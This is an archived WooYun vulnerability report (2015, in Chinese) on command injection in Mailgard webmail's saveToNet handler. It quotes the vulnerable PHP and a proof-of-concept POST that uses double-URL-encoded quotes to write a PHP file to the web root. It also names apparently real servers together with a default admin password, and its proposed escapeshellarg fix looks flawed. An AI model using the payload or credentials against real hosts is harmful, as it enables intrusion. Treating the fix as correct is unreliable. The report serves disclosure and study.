当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-097939

漏洞标题:佑友mailgard webmail命令执行之二

相关厂商:深圳市河辰通讯技术有限公司

漏洞作者: f4ckbaidu

提交时间:2015-02-21 22:23

修复时间:2015-05-31 09:04

公开时间:2015-05-31 09:04

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-21: 细节已通知厂商并且等待厂商处理中
2015-03-02: 厂商已经确认,细节仅向厂商公开
2015-03-05: 细节向第三方安全合作伙伴开放
2015-04-26: 细节向核心白帽子及相关领域专家公开
2015-05-06: 细节向普通白帽子公开
2015-05-16: 细节向实习白帽子公开
2015-05-31: 细节向公众公开

简要描述:

与wooyun-2015-097649类似的命令执行漏洞

详细说明:

在wooyun-2015-097649的基础上补充下
先来看下全局函数:(/var/www/newmail/include/common.php)

if(!MAGIC_QUOTES_GPC){
foreach($_COOKIE as $key => $val){
if(is_array($val)){
foreach($val as $k => $v){
$val[$k] = addslashes($v);
}
}else{
$val = addslashes($val);
}
$_COOKIE[$key] = $val;
}
foreach($_POST as $key => $val){
if(is_array($val)){
foreach($val as $k => $v){
$val[$k] = addslashes($v);
}
}else{
$val = addslashes($val);
}
$_POST[$key] = $val;
}
foreach($_GET as $key => $val){
if(is_array($val)){
foreach($val as $k => $v){
$val[$k] = addslashes($v);
}
}else{
$val = addslashes($val);
}
$_GET[$key] = $val;
}
}


可以看到对GPC的value做了addslashes处理
其实还包含了360的webscan防注入,这里没啥关系就不贴了
再来看/var/www/newmail/src/ajaxserver.php的问题代码:

if($_GET['exec']=='saveToNet'){
// 保存到网络硬盘
list($box_name,$uid) = explode(':', $_GET['sd']);

$file_name = urldecode($_POST['file_name']);
$net_dir = $_POST['net_dir'];

$dir = $gTmpUploadDir.$box_name.$uid."/";
if(!is_dir($dir)){//目录不存在,创建目录并生成文件
@mkdir($dir,0722,true);//逐层检查创建0700权限
select_mailbox($connection,$box_name);

$entity = parse_entity('type','application/',$box_name,$uid,'',true);
foreach($entity as $val){
$mail_attachment = mail_body($connection,$uid,$val['entity_id'],$val['encoding']);

$att_name = $val['filename'];
$file = fopen($dir.$att_name,'w');
fwrite($file,$mail_attachment);
fclose($file);
}
}

$fArr = explode('.', $file_name);
$fSuffix = end($fArr);
$fPrefix = substr($file_name, 0, -(strlen($fSuffix)+1));
$movefile = $gNetDiskDir.$net_dir."/".$file_name;
$auton = 0;
$goexpr = true;
while($goexpr){
if(is_file($movefile)){
$movefile = $gNetDiskDir.$net_dir."/".$fPrefix.'('.$auton.').'.$fSuffix;
$auton++;
}else{
$goexpr = false;
}
}

exec("cd '".$dir."'; cp '".$file_name."' '".$movefile."'",$rs,$res);
if($result>0 || $res===0){
echo '<meta http-equiv="Content-Type" content="text/html; charset='.$default_charset.'" />' ;
echo '<script type="text/javascript">';
echo 'alert("'.$language['show_save_net_ok'].'");';
echo '</script>';
}
exit;
}


问题在于:
$file_name = urldecode($_POST['file_name']);
exec("cd '".$dir."'; cp '".$file_name."' '".$movefile."'",$rs,$res);
虽然exec函数里$file_name有单引号包含,但是$file_name = urldecode($_POST['file_name']);,可以2次urlencode单引号绕过addslashes
POC如下:
1、找个账号登录http://mail.xxx.com/
2、打开http://mail.xxx.com/src/ajaxserver.php?exec=saveToNet&sd=aa:admin
3、POST net_dir=a&file_name=%2527|echo %2527<?php phpinfo();?>%2527>/var/www/newmail/phpinfo.php%2527
4、访问http://mail.xxx.com/phpinfo.php

11.png


1.png


22.png


2.png

漏洞证明:

http://mail.iconergy.com:889/默认帐号密码admin hicomadmin

11.png


1.png


http://mail.szjhqh.com/默认帐号密码admin hicomadmin

22.png


2.png

修复方案:

exec("cd '".$dir."'; cp '".escapeshellarg($file_name)."' '".$movefile."'",$rs,$res);

版权声明:转载请注明来源 f4ckbaidu@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-03-02 09:04

厂商回复:

暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无


漏洞评价:

评论